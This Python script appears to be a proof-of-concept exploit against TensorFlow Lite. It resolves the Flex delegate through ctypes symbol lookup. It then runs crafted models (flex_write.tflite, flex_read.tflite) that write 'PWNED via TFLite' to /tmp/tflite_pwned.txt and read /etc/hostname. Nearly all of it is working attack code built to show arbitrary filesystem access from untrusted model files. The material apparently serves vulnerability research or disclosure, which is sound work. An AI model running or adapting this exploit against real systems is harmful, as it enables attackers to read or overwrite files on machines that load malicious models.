# Strategy: Import TF first to initialize the runtime, then
# use the C wrapper directly without loading the common lib again
import os, sys

# Step 1: Import TF to initialize runtime
import tensorflow as tf
import numpy as np
from tensorflow.lite.python.interpreter_wrapper import _pywrap_tensorflow_interpreter_wrapper as wrapper

# Step 2: Get AcquireFlexDelegate from the ALREADY-LOADED libraries
# When TF is imported, libtensorflow_cc.so.2 is already loaded
import ctypes

# Use RTLD_DEFAULT to search all already-loaded libs
# This avoids re-loading and the double-registration issue
lib = ctypes.CDLL(None)  # None = search global symbol table

try:
    acquire = lib._ZN6tflite19AcquireFlexDelegateEv
    acquire.restype = ctypes.c_void_p
    acquire.argtypes = []
    flex_ptr = acquire()
    print(f"FlexDelegate from global: {hex(flex_ptr) if flex_ptr else 'NULL'}")
except Exception as e:
    print(f"Global lookup failed: {e}")
    # Try explicit lib
    tf_dir = os.path.dirname(tf.__file__)
    cc_path = os.path.join(tf_dir, "libtensorflow_cc.so.2")
    # Use RTLD_NOLOAD to get handle without reloading
    cc_lib = ctypes.CDLL(cc_path, mode=ctypes.RTLD_NOLOAD)
    acquire = cc_lib._ZN6tflite19AcquireFlexDelegateEv
    acquire.restype = ctypes.c_void_p
    acquire.argtypes = []
    flex_ptr = acquire()
    print(f"FlexDelegate from cc: {hex(flex_ptr) if flex_ptr else 'NULL'}")

if not flex_ptr:
    print("No flex delegate available")
    sys.exit(1)

# Test flex_write
print("\n=== Test flex_write.tflite ===")
with open("models/flex_write.tflite", "rb") as f:
    write_data = f.read()

w = wrapper.CreateWrapperFromBuffer(write_data, 1, [], True, True)
print("Created interpreter wrapper")

result = w.ModifyGraphWithDelegate(flex_ptr)
print(f"ModifyGraphWithDelegate: {result}")

try:
    w.AllocateTensors()
    print("AllocateTensors succeeded!")
    input_idx = w.InputIndices()
    print(f"Input indices: {input_idx}")
    if input_idx:
        w.SetTensor(input_idx[0], np.array(b"PWNED via TFLite"))
    w.Invoke()
    print("INVOKE SUCCEEDED!")
    if os.path.exists("/tmp/tflite_pwned.txt"):
        with open("/tmp/tflite_pwned.txt") as f:
            print(f"*** FILE WRITTEN: {f.read()} ***")
    else:
        print("File not written")
except Exception as e:
    print(f"Error: {type(e).__name__}: {str(e)[:800]}")

# Test flex_read
print("\n=== Test flex_read.tflite ===")
with open("models/flex_read.tflite", "rb") as f:
    read_data = f.read()

w2 = wrapper.CreateWrapperFromBuffer(read_data, 1, [], True, True)
w2.ModifyGraphWithDelegate(flex_ptr)

try:
    w2.AllocateTensors()
    print("AllocateTensors succeeded!")
    input_idx2 = w2.InputIndices()
    w2.SetTensor(input_idx2[0], np.array(b"/etc/hostname"))
    w2.Invoke()
    print("INVOKE SUCCEEDED!")
    output_idx2 = w2.OutputIndices()
    output = w2.GetTensor(output_idx2[0])
    print(f"*** FILE READ: {output} ***")
except Exception as e:
    print(f"Error: {type(e).__name__}: {str(e)[:800]}")